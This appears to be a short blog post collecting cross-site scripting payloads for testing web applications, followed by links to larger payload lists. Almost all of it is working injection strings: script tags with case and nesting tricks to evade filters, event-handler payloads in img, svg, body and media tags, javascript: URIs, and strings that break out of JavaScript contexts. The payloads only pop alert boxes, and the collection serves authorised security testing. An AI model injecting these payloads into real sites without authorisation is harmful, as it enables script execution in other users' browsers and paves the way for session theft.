Sec-Art: XSS Payloads Collection and Important Links

Some of the XSS payloads that i have used during tests for xss vulnerability are here :

For checking XSS filters use the below character set :

/"'\<><script>():;[]{}AbC

Simple payloads for testing XSS :

<script>alert(1)</script>
<sCrIpt>alert(1)</ScRipt>
<scr<script>ipt>alert(1)</script>	
<body onload=alert(1)>	
<script>prompt(1)</script>
"><script>alert(1)</script>
<<SCRIPT>alert("xss");//<</SCRIPT>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>

XSS payload within HTML elements :

"><body onload=alert(1)>
<img src=x onerror=alert(1)> 
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<svg onload=alert(1)> 
"><svg onload=alert(1)><"
></option></select><body onload=alert(1)>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<audio src onloadstart=alert(1)>
<svg id=alert(1) onload=eval(id)>

Payloads for injecting inside Javascript codeblock :

alert(1)
";alert(1); x=" 
';alert(1); x='
‘; alert(1);
‘)alert(1);// 
"}]}';alert(1);</script>

Some of the important links for various collection of XSS payloads :

https://gist.github.com/sseffa/11031135
https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
https://teamultimate.in/xss-cheat-sheet-waf-filter-bypass/

Advanced Payloads and Javascripts for Attacks : http://www.xss-payloads.com/payloads.html